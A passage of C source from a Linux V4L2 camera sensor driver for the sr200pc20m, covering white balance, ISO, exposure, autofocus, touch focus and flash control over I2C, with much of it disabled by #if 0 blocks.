camdrv_ss_set_dataline_onoff(sd, 1); if (err < 0) { CAM_ERROR_PRINTK( "%s : check_dataline is FAILED !!\n", __func__); return -EIO; } } return 0; } static int camdrv_ss_sr200pc20m_set_white_balance(struct v4l2_subdev *sd, int mode) { struct i2c_client *client = v4l2_get_subdevdata(sd); struct camdrv_ss_state *state = to_state(sd); int err = 0; CAM_INFO_PRINTK( " %s : value =%d\n", __func__, mode); switch (mode) { case WHITE_BALANCE_AUTO: { if (sr200pc20m_wb_auto_regs == 0) CAM_ERROR_PRINTK( " %s : wb_auto_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_wb_auto_regs, ARRAY_SIZE(sr200pc20m_wb_auto_regs), "wb_auto_regs"); break; } case WHITE_BALANCE_CLOUDY: { if (sr200pc20m_wb_cloudy_regs == 0) CAM_ERROR_PRINTK( "%s : wb_cloudy_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_wb_cloudy_regs, ARRAY_SIZE(sr200pc20m_wb_cloudy_regs), "wb_cloudy_regs"); break; } case WHITE_BALANCE_FLUORESCENT: { if (sr200pc20m_wb_fluorescent_regs== 0) CAM_ERROR_PRINTK( " %s : wb_fluorescent_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_wb_fluorescent_regs, ARRAY_SIZE(sr200pc20m_wb_fluorescent_regs), "wb_fluorescent_regs"); break; } case WHITE_BALANCE_DAYLIGHT: { if (sr200pc20m_wb_daylight_regs == 0) CAM_ERROR_PRINTK( " %s : wb_daylight_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_wb_daylight_regs, ARRAY_SIZE(sr200pc20m_wb_daylight_regs), "wb_daylight_regs"); break; } case WHITE_BALANCE_INCANDESCENT: { if (sr200pc20m_wb_incandescent_regs == 0) CAM_ERROR_PRINTK( "%s : wb_incandescent_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_wb_incandescent_regs, ARRAY_SIZE(sr200pc20m_wb_incandescent_regs), "wb_incandescent_regs"); break; } default: { CAM_ERROR_PRINTK( " %s : default not supported !!!\n", __func__); break; } } state->currentWB = mode; return err; } static int camdrv_ss_sr200pc20m_set_iso(struct v4l2_subdev *sd, int mode) { struct i2c_client *client = v4l2_get_subdevdata(sd); int err = 0; CAM_INFO_PRINTK( " %s : value =%d\n", __func__, mode); switch (mode) { case ISO_AUTO: { if (sr200pc20m_iso_auto_regs == 0) CAM_ERROR_PRINTK( " %s : iso_auto_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_iso_auto_regs, ARRAY_SIZE(sr200pc20m_iso_auto_regs), "iso_auto_regs"); break; } case ISO_50: { if (sr200pc20m_iso_50_regs== 0) CAM_ERROR_PRINTK( " %s : iso_50_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_iso_50_regs, ARRAY_SIZE(sr200pc20m_iso_50_regs), "iso_50_regs"); break; } case ISO_100: { if (sr200pc20m_iso_100_regs == 0) CAM_ERROR_PRINTK( " %s : iso_100_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_iso_100_regs, ARRAY_SIZE(sr200pc20m_iso_100_regs), "iso_100_regs"); break; } case ISO_200: { if (sr200pc20m_iso_200_regs == 0) CAM_ERROR_PRINTK( "%s : iso_200_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client,sr200pc20m_iso_200_regs, ARRAY_SIZE(sr200pc20m_iso_200_regs), "iso_200_regs"); break; } case ISO_400: { if (sr200pc20m_iso_400_regs == 0) CAM_ERROR_PRINTK( "%s : iso_400_regs not supported !!!\n", __func__); else err = camdrv_ss_i2c_set_config_register(client, sr200pc20m_iso_400_regs,ARRAY_SIZE(sr200pc20m_iso_400_regs), "iso_400_regs"); break; } default: { CAM_ERROR_PRINTK( " %s : default case supported !!!\n", __func__); break; } } /* end of switch */ return err; } #define AAT_PULS_HI_TIME 1 #define AAT_PULS_LO_TIME 1 #define AAT_LATCH_TIME 500 // AAT1271 flash control driver. #if 0 static void camdrv_ss_AAT_flash_write_data(unsigned char count) { unsigned long flags; local_irq_save(flags); if(HWREV >= 0x03) { if(count) { do { gpio_set_value(GPIO_CAM_FLASH_SET_NEW, 0); udelay(AAT_PULS_LO_TIME); gpio_set_value(GPIO_CAM_FLASH_SET_NEW, 1); udelay(AAT_PULS_HI_TIME); } while (--count); udelay(AAT_LATCH_TIME); } } else { if(count) { do { gpio_set_value(GPIO_CAM_FLASH_SET, 0); udelay(AAT_PULS_LO_TIME); gpio_set_value(GPIO_CAM_FLASH_SET, 1); udelay(AAT_PULS_HI_TIME); } while (--count); udelay(AAT_LATCH_TIME); } } local_irq_restore(flags); } #endif static float camdrv_ss_sr200pc20m_get_exposureTime(struct v4l2_subdev *sd) { struct i2c_client *client = v4l2_get_subdevdata(sd); unsigned int read_value1=0,read_value2=0,read_value3=0; int exposureTime = 0; //AE off camdrv_ss_i2c_write_2_bytes(client, 0x03, 0x20); camdrv_ss_i2c_write_2_bytes(client, 0x10, 0x0c); camdrv_ss_i2c_read_1_byte(client, 0x80, &read_value1); camdrv_ss_i2c_read_1_byte(client, 0x81, &read_value2); camdrv_ss_i2c_read_1_byte(client, 0x82, &read_value3); exposureTime = (read_value1 << 19 | read_value2 << 11 | read_value3<<3); CAM_INFO_PRINTK("%s, exposureTime =%d \n",__func__,exposureTime); return ((float)exposureTime); } //aska add static int camdrv_ss_sr200pc20m_get_nightmode(struct v4l2_subdev *sd) { struct i2c_client *client = v4l2_get_subdevdata(sd); unsigned short read_value1 = 0, read_value2 = 0,read_value3=0; int Exptime = 0, Expmax=0; CAM_ERROR_PRINTK("camdrv_ss_sr200pc20m_get_nightmode\n"); #if 1 camdrv_ss_i2c_write_2_bytes(client, 0x03, 0x20); camdrv_ss_i2c_write_2_bytes(client, 0x10, 0x0c); camdrv_ss_i2c_read_1_byte(client, 0x80, &read_value1); camdrv_ss_i2c_read_1_byte(client, 0x81, &read_value2); camdrv_ss_i2c_read_1_byte(client, 0x82, &read_value3); Exptime = (read_value1 << 16) | (read_value2 << 8)|(read_value3); CAM_ERROR_PRINTK("value1=%x,value2=%x,value3=%x,Exptime=%d\n",read_value1,read_value2,read_value3,Exptime); camdrv_ss_i2c_read_1_byte(client, 0x88, &read_value1); camdrv_ss_i2c_read_1_byte(client, 0x89, &read_value2); camdrv_ss_i2c_read_1_byte(client, 0x8A, &read_value3); Expmax = (read_value1 << 16) | (read_value2 << 8)|(read_value3); CAM_ERROR_PRINTK("value1=%x,value2=%x,value3=%x,Expmax=%d\n",read_value1,read_value2,read_value3,Expmax); //return ((Exptime * 1000) / 400); // us if(Exptime <Expmax){ return 0; //noraml }else{ return 1; //dark } #endif return 0; } static int camdrv_ss_sr200pc20m_get_iso_speed_rate(struct v4l2_subdev *sd) { #if 1 struct i2c_client *client = v4l2_get_subdevdata(sd); unsigned short read_value = 0; float GainValue = 0.0; int isospeedrating = 100; int rows_num_=0; /* camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); camdrv_ss_i2c_write_4_bytes(client, 0x002C, 0x7000); camdrv_ss_i2c_write_4_bytes(client, 0x002E, 0x2A18); camdrv_ss_i2c_read_2_bytes(client, 0x0F12, &read_value);*/ camdrv_ss_i2c_write_2_bytes(client, 0x03, 0x20); camdrv_ss_i2c_read_1_byte(client, 0xb0, &read_value); GainValue = ((read_value / 32.0) + 0.5); if(GainValue < 1.14) { isospeedrating = 50; } else if(GainValue < 2.14) { isospeedrating = 100; } else if(GainValue < 2.64) { isospeedrating = 200; } else if(GainValue < 7.52) { isospeedrating = 400; } else { isospeedrating = 800; } CAM_ERROR_PRINTK("camdrv_ss_sr200pc20m_get_iso_speed_rate, GainValue =%d, isospeedrating =%d\n", GainValue, isospeedrating ); CAM_ERROR_PRINTK("camdrv_ss_sr200pc20m_get_iso_speed_rate, isospeedrating =%d\n", isospeedrating ); return isospeedrating; #endif /* no implementation yet */ // return -1; } static int camdrv_ss_sr200pc20m_get_ae_stable_status(struct v4l2_subdev *sd, struct v4l2_control *ctrl) { #if 0 struct i2c_client *client = v4l2_get_subdevdata(sd); int err = 0; unsigned short AE_stable = 0x0000; int rows_num_=0; //Check AE stable err = camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); err += camdrv_ss_i2c_write_4_bytes(client, 0x002C, 0x7000); err += camdrv_ss_i2c_write_4_bytes(client, 0x002E, 0x1E3C); err += camdrv_ss_i2c_read_2_bytes(client, 0x0F12, &AE_stable); if(err < 0) { CAM_ERROR_PRINTK( "[%s: %d] ERROR! AE stable check\n", __FILE__, __LINE__); } if(AE_stable == 0x0001) { ctrl->value = AE_STABLE; } else { ctrl->value = AE_UNSTABLE; } #endif return 0; } // end static int camdrv_ss_sr200pc20m_get_auto_focus_status(struct v4l2_subdev *sd, struct v4l2_control *ctrl, struct camdrv_ss_sensor_cap *sensor) { #if 0 struct i2c_client *client = v4l2_get_subdevdata(sd); unsigned short AF_status = 0; int err = 0; unsigned short usReadData =0 ; unsigned short uiLoop = 0; msleep(200); CAM_INFO_PRINTK("camdrv_ss_sr200pc20m_get_auto_focus_status E \n"); do { err = camdrv_ss_i2c_set_config_register(client,sr200pc20m_get_1st_af_search_status,ARRAY_SIZE(sr200pc20m_get_1st_af_search_status),"get_1st_af_search_status"); err += camdrv_ss_i2c_read_2_bytes(client, 0x0F12,&usReadData); if(err < 0) { CAM_ERROR_PRINTK( "%s: I2C failed during AF \n", __func__); ctrl->value = CAMDRV_SS_AF_FAILED; goto CAMDRV_SS_AF_END; } CAM_INFO_PRINTK( " 1st check status, usReadData : 0x%x\n", usReadData ); switch( usReadData & 0xFF ) { case 1: CAM_INFO_PRINTK( "1st CAM_AF_PROGRESS\n " ); AF_status = CAMDRV_SS_AF_SEARCHING; break; case 2: CAM_INFO_PRINTK( "1st CAM_AF_SUCCESS\n " ); AF_status = CAMDRV_SS_AF_FOCUSED; break; default: CAM_INFO_PRINTK( "1st CAM_AF_FAIL. count : %d\n ", uiLoop); AF_status = CAMDRV_SS_AF_FAILED; goto CAMDRV_SS_AF_END; break; } msleep(100); uiLoop++; }while ((AF_status == CAMDRV_SS_AF_SEARCHING)&& (uiLoop < 100)); if (uiLoop >= 100) { AF_status = CAMDRV_SS_AF_FAILED; CAM_ERROR_PRINTK( "%s, AF failed, over counted : %d\n", __func__, uiLoop); goto CAMDRV_SS_AF_END; } CAM_INFO_PRINTK( "%s, uiLoop : %d, Start 2nd AF\n", __func__, uiLoop); uiLoop =0; AF_status = CAMDRV_SS_AF_SEARCHING; do { msleep(100); err = camdrv_ss_i2c_set_config_register(client,sr200pc20m_get_2nd_af_search_status,ARRAY_SIZE(sr200pc20m_get_2nd_af_search_status),"get_2nd_af_search_status"); err += camdrv_ss_i2c_read_2_bytes(client, 0x0F12, &usReadData); if(err < 0) { CAM_ERROR_PRINTK( "%s: I2C failed during AF \n", __func__); ctrl->value = CAMDRV_SS_AF_FAILED; goto CAMDRV_SS_AF_END; } CAM_INFO_PRINTK( " 2nd check status, usReadData : 0x%x\n", usReadData ); if (!(usReadData & 0xff00)) { CAM_INFO_PRINTK( "2nd CAM_AF_SUCCESS, cnt : %d\n ", uiLoop); AF_status = CAMDRV_SS_AF_FOCUSED; break; } uiLoop++; }while ((AF_status == CAMDRV_SS_AF_SEARCHING)&& (uiLoop < 100)); if (uiLoop >= 100) { AF_status = CAMDRV_SS_AF_FAILED; CAM_ERROR_PRINTK( "%s, AF failed, over counted : %d\n", __func__, uiLoop); goto CAMDRV_SS_AF_END; } CAMDRV_SS_AF_END: CAM_INFO_PRINTK( "AF End : %d\n", AF_status); ctrl->value = AF_status; return AF_status; #endif return 0; } static int camdrv_ss_sr200pc20m_get_touch_focus_status(struct v4l2_subdev *sd, struct v4l2_control *ctrl) { CAM_INFO_PRINTK("camdrv_ss_sr200pc20m_get_touch_focus_status E \n"); return 0; } static int camdrv_ss_sr200pc20m_set_auto_focus(struct v4l2_subdev *sd, struct v4l2_control *ctrl) { #if 0 struct i2c_client *client = v4l2_get_subdevdata(sd); struct camdrv_ss_state *state = to_state(sd); int err = 0; mutex_lock(&af_cancel_op); CAM_INFO_PRINTK("camdrv_ss_sr200pc20m_set_auto_focus E \n"); // Initialize fine search value. state->bStartFineSearch = false; if(ctrl->value == AUTO_FOCUS_ON) { CAM_INFO_PRINTK( "%s, AUTFOCUS ON\n", __func__ ); if(sr200pc20m_single_af_start_regs == 0) CAM_ERROR_PRINTK( "%s : single_af_start_regs supported !!! \n", __func__); else { CAM_INFO_PRINTK( "%s , ae lock\n ",__func__); err = camdrv_ss_i2c_set_config_register(client,sr200pc20m_ae_lock_regs, ARRAY_SIZE(sr200pc20m_ae_lock_regs), "ae_lock_regs"); CAM_INFO_PRINTK( "%s , AF start\n ",__func__); err = camdrv_ss_i2c_set_config_register(client,sr200pc20m_single_af_start_regs, ARRAY_SIZE(sr200pc20m_single_af_start_regs),"single_af_start_regs"); } if(err < 0) { CAM_ERROR_PRINTK( "%s : i2c failed !!! \n", __func__); mutex_unlock(&af_cancel_op); return -EIO; } } else if(ctrl->value == AUTO_FOCUS_OFF) { CAM_INFO_PRINTK( "%s : AUTFOCUS OFF \n", __func__); state->camera_flash_fire = 0; state->camera_af_flash_checked = 0; if(sr200pc20m_single_af_stop_regs == 0) CAM_ERROR_PRINTK( "%s : single_af_stop_regs supported !!! \n", __func__); else err = camdrv_ss_i2c_set_config_register(client,sr200pc20m_single_af_stop_regs,ARRAY_SIZE(sr200pc20m_single_af_stop_regs),"single_af_stop_regs"); if(err < 0) { CAM_ERROR_PRINTK( "%s : i2c failed in OFF !!! \n", __func__); mutex_unlock(&af_cancel_op); return -EIO; } } mutex_unlock(&af_cancel_op); #endif return 0; } static int camdrv_ss_sr200pc20m_set_touch_focus(struct v4l2_subdev *sd, enum v4l2_touch_af touch_af, v4l2_touch_area *touch_area) { #if 0 struct camdrv_ss_state *state = to_state(sd); struct i2c_client *client = v4l2_get_subdevdata(sd); int err; unsigned short FirstWinStartX, FirstWinStartY, SecondWinStartX, SecondWinStartY; unsigned short FirstWinEndX, FirstWinEndY, ConvFirstWinStartX, ConvFirstWinStartY; unsigned short SecondWinEndX, SecondWinEndY, ConvSecondWinStartX, ConvSecondWinStartY; unsigned short DefaultFirstWinStartX, DefaultFirstWinStartY, DefaultSecondWinStartX, DefaultSecondWinStartY; int preview_width, preview_height; int count, read_value; preview_width = state->pix.width; preview_height = state->pix.height; DefaultFirstWinStartX = preview_width - ((preview_width - AF_OUTER_WINDOW_WIDTH) / 2); /* 640x480 => 160, 800x480 => 240 */ DefaultFirstWinStartY = preview_height - ((preview_height - AF_OUTER_WINDOW_HEIGHT) / 2); /* 640x480 => 107, 800x480 => 107 */ DefaultSecondWinStartX = preview_width - ((preview_width - AF_INNER_WINDOW_WIDTH) / 2); /* 640x480 => 248, 800x480 => 160 */ DefaultSecondWinStartY = preview_height - ((preview_height - AF_INNER_WINDOW_HEIGHT) / 2); /* 640x480 => 328, 800x480 => 160 */ CAM_INFO_PRINTK("[%s:%d] preview_width %d, preview_height %d\n",__func__, __LINE__, preview_width, preview_height); CAM_INFO_PRINTK("[%s:%d] DefaultFirstWinStartX %d, DefaultFirstWinStartY %d\n",__func__, __LINE__, DefaultFirstWinStartX, DefaultFirstWinStartY); CAM_INFO_PRINTK("[%s:%d] DefaultSecondWinStartX %d, DefaultSecondWinStartY %d\n",__func__, __LINE__,DefaultSecondWinStartX ,DefaultSecondWinStartY ); /* value 0 is Touch AF Stop, 1 is Touch AF start */ if(touch_af == TOUCH_AF_STOP) { /* AF stop */ camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); camdrv_ss_i2c_write_4_bytes(client, 0x0028, 0x7000); camdrv_ss_i2c_write_4_bytes(client, 0x002A, 0x0294); camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (unsigned short)((DefaultFirstWinStartX << 10) / preview_width)); /* FstWinStartX */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (unsigned short)((DefaultFirstWinStartY << 10) / preview_height)); /* FstWinStartY */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (320 << 10) / preview_width ); /* FstWinSizeX : 320 */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (266 << 10) / preview_height ); /* FstWinSizeY : 266 */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (unsigned short)((DefaultSecondWinStartX << 10) / preview_width)); /* ScndWinStartX */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (unsigned short)((DefaultSecondWinStartY << 10) / preview_height)); /* ScndWinStartY */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (143 << 10) / preview_width ); /* ScndWinSizeX : 143 */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (143 << 10) / preview_height ); /* ScndWinSizeY : 143 */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0001); /* WinSizesUpdated */ } else if(touch_af == TOUCH_AF_START) { /* AF start */ // Prevent divided-by-zero. if(preview_width == 0 || preview_height == 0) { CAM_ERROR_PRINTK("%s: Either preview_width or preview_height is zero\n", __func__); return -EIO; } FirstWinStartX = SecondWinStartX = touch_area->leftTopX; FirstWinStartY = SecondWinStartY = touch_area->leftTopY; CAM_INFO_PRINTK("[%s:%d]touch X %d, touch Y %d\n",__func__, __LINE__, FirstWinStartX, FirstWinStartY); // AF Position(Round Down) if(FirstWinStartX > AF_OUTER_WINDOW_WIDTH/2) { FirstWinStartX -= AF_OUTER_WINDOW_WIDTH/2; if(FirstWinStartX + AF_OUTER_WINDOW_WIDTH > preview_width) { CAM_ERROR_PRINTK( "%s: X Position Overflow : [%d, %d] \n", __func__, FirstWinStartX, AF_OUTER_WINDOW_WIDTH); FirstWinStartX = preview_width - AF_OUTER_WINDOW_WIDTH - 1; } } else FirstWinStartX = 0; if(FirstWinStartY > AF_OUTER_WINDOW_HEIGHT/2) { FirstWinStartY -= AF_OUTER_WINDOW_HEIGHT/2; if(FirstWinStartY + AF_OUTER_WINDOW_HEIGHT > preview_height) { CAM_ERROR_PRINTK( "%s: Y Position Overflow : [%d, %d] \n", __func__, FirstWinStartY, AF_OUTER_WINDOW_HEIGHT); FirstWinStartY = preview_height - AF_OUTER_WINDOW_HEIGHT - 1; } } else FirstWinStartY = 0; CAM_INFO_PRINTK("[%s:%d] FirstWinStartX %d, FirstWinStartY %d\n",__func__, __LINE__, FirstWinStartX, FirstWinStartY); // AF Position(Round Down) if(SecondWinStartX > AF_INNER_WINDOW_WIDTH/2) { SecondWinStartX -= AF_INNER_WINDOW_WIDTH/2; if(SecondWinStartX + AF_INNER_WINDOW_WIDTH > preview_width) { CAM_ERROR_PRINTK( "%s: X Position Overflow : [%d, %d] \n", __func__, SecondWinStartX, AF_INNER_WINDOW_WIDTH); SecondWinStartX = preview_width - AF_INNER_WINDOW_WIDTH - 1; } } else SecondWinStartX = 0; if(SecondWinStartY > AF_INNER_WINDOW_HEIGHT/2) { SecondWinStartY -= AF_INNER_WINDOW_HEIGHT/2; if(SecondWinStartY + AF_INNER_WINDOW_HEIGHT > preview_height) { CAM_ERROR_PRINTK( "%s: Y Position Overflow : [%d, %d] \n", __func__, SecondWinStartY, AF_INNER_WINDOW_HEIGHT); SecondWinStartY = preview_height - AF_INNER_WINDOW_HEIGHT - 1; } } else SecondWinStartY = 0; CAM_INFO_PRINTK("[%s:%d] SecondWinStartX %d, SecondWinStartY %d\n",__func__, __LINE__, SecondWinStartX, SecondWinStartY); // if use mirror/flip, need this code. FirstWinEndX = FirstWinStartX + AF_OUTER_WINDOW_WIDTH; FirstWinEndY = FirstWinStartY + AF_OUTER_WINDOW_HEIGHT; if(preview_width - FirstWinEndX <= 0) ConvFirstWinStartX = 0; else ConvFirstWinStartX = preview_width - FirstWinEndX -1; if(preview_height - FirstWinEndY <= 0) ConvFirstWinStartY = 0; else ConvFirstWinStartY = preview_height - FirstWinEndY -1; CAM_INFO_PRINTK("[%s:%d] Conv::FirstWinStartX %d, FirstWinStartY %d\n",__func__, __LINE__, ConvFirstWinStartX, ConvFirstWinStartY); SecondWinEndX = SecondWinStartX + AF_INNER_WINDOW_WIDTH; SecondWinEndY = SecondWinStartY + AF_INNER_WINDOW_HEIGHT; if(preview_width - SecondWinEndX <= 0) ConvSecondWinStartX = 0; else ConvSecondWinStartX = preview_width - SecondWinEndX -1; if(preview_height - SecondWinEndY <= 0) ConvSecondWinStartY = 0; else ConvSecondWinStartY = preview_height - SecondWinEndY -1; CAM_INFO_PRINTK("[%s:%d] Conv::ConvSecondWinStartX %d, ConvSecondWinStartY %d\n",__func__, __LINE__, ConvSecondWinStartX, ConvSecondWinStartY); ConvFirstWinStartX = (unsigned short)((ConvFirstWinStartX << 10) / preview_width); ConvFirstWinStartY = (unsigned short)((ConvFirstWinStartY << 10) / preview_height); //SecondWinStartX = ConvFirstWinStartX + 140; //SecondWinStartY = ConvFirstWinStartY + 131; ConvSecondWinStartX = (unsigned short)((ConvSecondWinStartX << 10) / preview_width); ConvSecondWinStartY = (unsigned short)((ConvSecondWinStartY << 10) / preview_height); camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); camdrv_ss_i2c_write_4_bytes(client, 0x0028, 0x7000); camdrv_ss_i2c_write_4_bytes(client, 0x002A, 0x0294); camdrv_ss_i2c_write_4_bytes(client, 0x0F12, ConvFirstWinStartX); /* FstWinStartX */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, ConvFirstWinStartY); /* FstWinStartY */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (320 << 10) / preview_width ); /* FstWinSizeX : 320 */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (266 << 10) / preview_height ); /* FstWinSizeY : 266 */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, ConvSecondWinStartX); /* ScndWinStartX */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, ConvSecondWinStartY); /* ScndWinStartY */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (72 << 10) / preview_width ); /* ScndWinSizeX : 72 */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, (143 << 10) / preview_height ); /* ScndWinSizeY : 143 */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0001); /* WinSizesUpdated */ // state->touch_ae_af_state = 1; /* Are we need "Touch AE Weight"? */ /* FIXME */ } #if 0 //touch_AE else if(value == 2){ /* stop touch AE */ #if 0 camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); camdrv_ss_i2c_write_4_bytes(client, 0x0028, 0x7000); camdrv_ss_i2c_write_4_bytes(client, 0x002A, 0x395C); camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0000); /* FDA_bUseFaceAlg, Touched AE&AF support on/off */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0000); /* FDA_bUseConfigChange, Change config */ state->touch_ae_af_state = 0; #endif } else if(value == 3){ /* start touch AE */ unsigned int aeX = 0, aeY = 0; aeX = state->position.x; aeY = state->position.y; // AE Position(Round Down) if(aeX > AE_WINDOW_WIDTH/2) { aeX -= AE_WINDOW_WIDTH/2; if(aeX + AE_WINDOW_WIDTH > preview_width) { CAM_ERROR_PRINTK( "%s:[Touch AE] X Position Overflow : [%d, %d] \n", __func__, aeX, AE_WINDOW_WIDTH); aeX = preview_width - AE_WINDOW_WIDTH - 1; } } else aeX = 0; if(aeY > AE_WINDOW_HEIGHT/2) { aeY -= AE_WINDOW_HEIGHT/2; if(aeY + AE_WINDOW_HEIGHT > preview_height) { CAM_ERROR_PRINTK( "%s:[Touch AE] Y Position Overflow : [%d, %d] \n", __func__, aeY, AE_WINDOW_HEIGHT); aeY = preview_width - AE_WINDOW_HEIGHT - 1; } } else aeY = 0; #if 0 if(state->touch_ae_af_state == 0) /* Default setting */ { camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); camdrv_ss_i2c_write_4_bytes(client, 0x0028, 0x7000); camdrv_ss_i2c_write_4_bytes(client, 0x002A, 0x395C); camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0001); /* FDA_bUseFaceAlg, Touched AE&AF support on/off */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0001); /* FDA_bUseConfigChange, Change config */ camdrv_ss_i2c_write_4_bytes(client, 0x002A, 0x3962); /* FDA_FaceArr */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0000); /* FDA_FaceArr_0_X_Start, region start x position */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0000); /* FDA_FaceArr_0_Y_Start, region start y position */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, preview_width ); /* FDA_FaceArr_0_X_End, region end x position */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, preview_height ); /* FDA_FaceArr_0_Y_End, region end y position */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x003D); /* FDA_FaceArr_0_ABR, region target brightness */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0000); /* FDA_FaceArr_0__Weigt_Ratio, Weight ratio between region and backtround */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0001); /* FDA_FaceArr_0__UpdateState, region change update */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0001); /* FDA_FaceArr_0__bUpdate, use or not use*/ } #endif // CAM_INFO_PRINTK("[%s:%d] state->touch_ae_af_state %d\n", __func__, __LINE__, state->touch_ae_af_state); camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); camdrv_ss_i2c_write_4_bytes(client, 0x0028, 0x7000); camdrv_ss_i2c_write_4_bytes(client, 0x002A, 0x3962); /* FDA_FaceArr */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, aeX ); /* FDA_FaceArr_0_X_Start, region start x position */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, aeY ); /* FDA_FaceArr_0_Y_Start, region start y position */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, aeX + AE_WINDOW_WIDTH ); /* FDA_FaceArr_0_X_End, region end x position */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, aeY + AE_WINDOW_HEIGHT ); /* FDA_FaceArr_0_Y_End, region end y position */ camdrv_ss_i2c_write_4_bytes(client, 0x002A, 0x396C); /* FDA_FaceArr_0__Weigt_Ratio, Weight ratio between region and backtround */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0100); /* FDA_FaceArr_0__Weigt_Ratio, Weight ratio between region and backtround */ camdrv_ss_i2c_write_4_bytes(client, 0x0F12, 0x0001); /* FDA_FaceArr_0__UpdateState, region change update */ } #endif //Touch AE #endif return 0; } #if 0 static int camdrv_ss_sr200pc20m_get_light_condition(struct v4l2_subdev *sd, int *Result) { struct i2c_client *client = v4l2_get_subdevdata(sd); unsigned short read_value1, read_value2; int NB_value = 0; camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); camdrv_ss_i2c_write_4_bytes(client, 0x002C, 0x7000); camdrv_ss_i2c_write_4_bytes(client, 0x002E, 0x2A3C); camdrv_ss_i2c_read_2_bytes(client, 0x0F12, &read_value1); // LSB (0x2A3C) camdrv_ss_i2c_read_2_bytes(client, 0x0F12, &read_value2); // MSB (0x2A3E) NB_value = (int)read_value2; NB_value = ((NB_value << 16) | (read_value1 & 0xFFFF)); if(NB_value > 0xFFFE) { *Result = CAM_HIGH_LIGHT; CAM_INFO_PRINTK("%s : Highlight Read(0x%X) \n", __func__, NB_value); } else if(NB_value > 0x0020) { *Result = CAM_NORMAL_LIGHT; CAM_INFO_PRINTK("%s : Normallight Read(0x%X) \n", __func__, NB_value); } else { *Result = CAM_LOW_LIGHT; CAM_INFO_PRINTK("%s : Lowlight Read(0x%X) \n", __func__, NB_value); } return 0; } #endif static bool camdrv_ss_sr200pc20m_check_flash_needed(struct v4l2_subdev *sd) { #if 0 struct i2c_client *client = v4l2_get_subdevdata(sd); unsigned short read_value1 = 0; camdrv_ss_i2c_write_4_bytes(client, 0xFCFC, 0xD000); camdrv_ss_i2c_write_4_bytes(client, 0x002C, 0x7000); camdrv_ss_i2c_write_4_bytes(client, 0x002E, 0x29F0); camdrv_ss_i2c_read_2_bytes(client, 0x0F12, &read_value1); CAM_INFO_PRINTK( "%s [Read Value : %X]\n", __func__, read_value1); if(read_value1 >= 0x0708) { return true; } else { return false; } #endif return false; } static int camdrv_ss_sr200pc20m_AAT_flash_control(struct v4l2_subdev *sd, int control_mode) { #if 0 switch(control_mode) { // USE FLASH MODE case FLASH_CONTROL_MAX_LEVEL: { if(HWREV >= 0x03) { gpio_set_value(GPIO_CAM_FLASH_SET_NEW, 0); } else { gpio_set_value(GPIO_CAM_FLASH_SET, 0); } gpio_set_value(GPIO_CAM_FLASH_EN, 0); udelay(1); gpio_set_value(GPIO_CAM_FLASH_EN, 1); break; } // USE FLASH MODE case FLASH_CONTROL_HIGH_LEVEL: { if(HWREV >= 0x03) { gpio_set_value(GPIO_CAM_FLASH_SET_NEW, 0); } else { gpio_set_value(GPIO_CAM_FLASH_SET, 0); } gpio_set_value(GPIO_CAM_FLASH_EN, 0); udelay(1); gpio_set_value(GPIO_CAM_FLASH_EN, 1); udelay(10); // Flash Mode Set time camdrv_ss_AAT_flash_write_data(3); break; } // USE MOVIE MODE : AF Pre-Flash Mode(Torch Mode) case FLASH_CONTROL_MIDDLE_LEVEL: { if(HWREV >= 0x03) { gpio_set_value(GPIO_CAM_FLASH_SET_NEW, 0); } else { 